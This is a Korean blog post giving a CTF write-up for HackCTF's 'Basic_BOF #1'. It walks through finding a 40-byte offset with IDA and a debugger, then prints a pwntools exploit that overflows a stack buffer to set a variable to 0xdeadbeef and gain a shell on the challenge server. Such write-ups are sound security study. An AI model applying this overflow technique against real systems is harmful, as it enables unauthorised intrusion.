혜랑's STORY

[HackCTF] Basic_BOF #1 본문

2021 SISS 21기 활동/1학기 시스템

[HackCTF] Basic_BOF #1

hyerang0125 2021. 4. 9. 13:23

# IDA를 사용하여 bof_basic 살펴보기

  • s의 크기는 0x34(52) byte 라는 것을 알 수 있다.
  • fgets() 함수의 길이 제한 없이 입력 받는다는 취약점을 이용하여 v5의 값을 "-559038737"로 바꿔주면 shell이 실행되는 것 같다.

# buf의 시작 주소 알아내기

  • fgets()를 호출하고 난 다음에 bp를 걸면 buf의 위치를 알 수 있다.
  • [ebp-0xc](v5)가 0xdeadbeef여야 원하는 값을 볼 수 있다.

실행 해보자.

  • 앞에서 'A'를 넣어주었기 때문에 41이 등장하는 부분이 buf의 시작 주소라는 것을 알 수 있다.

  • v5가 0x04030201가 출력되었고, 'A'를 넣어서 buf의 위치를 확인할 때도 뒤에 0x04030201이 들어있었다. 따라서 버퍼오버플로우를 일으켜 그 부분을 바꿔주면 될 것 같다.

  • 'A'가 시작한 곳의 위치는 0xffffcfd4이고, '0x04030201'이 들어있는 위치까지의 거리는 40이다.

#Payload

앞에서 확인한 내용을 바탕으로 아래와 같이 Exploit code를 작성할 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3000)

payload = 'A'*40 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()

 

#Exploit

해당 Exploit code를 실행하여 flag 획득

성공!

'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글

[Hack CTF] RTL_World  (0) 2021.05.14
[HackCTF] x64 Buffer Overflow  (0) 2021.04.09
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.04.02
[TAMU CTF 2018] pwn3  (0) 2021.03.31
[HITCON-Training] lab3 - ret2sc  (0) 2021.03.30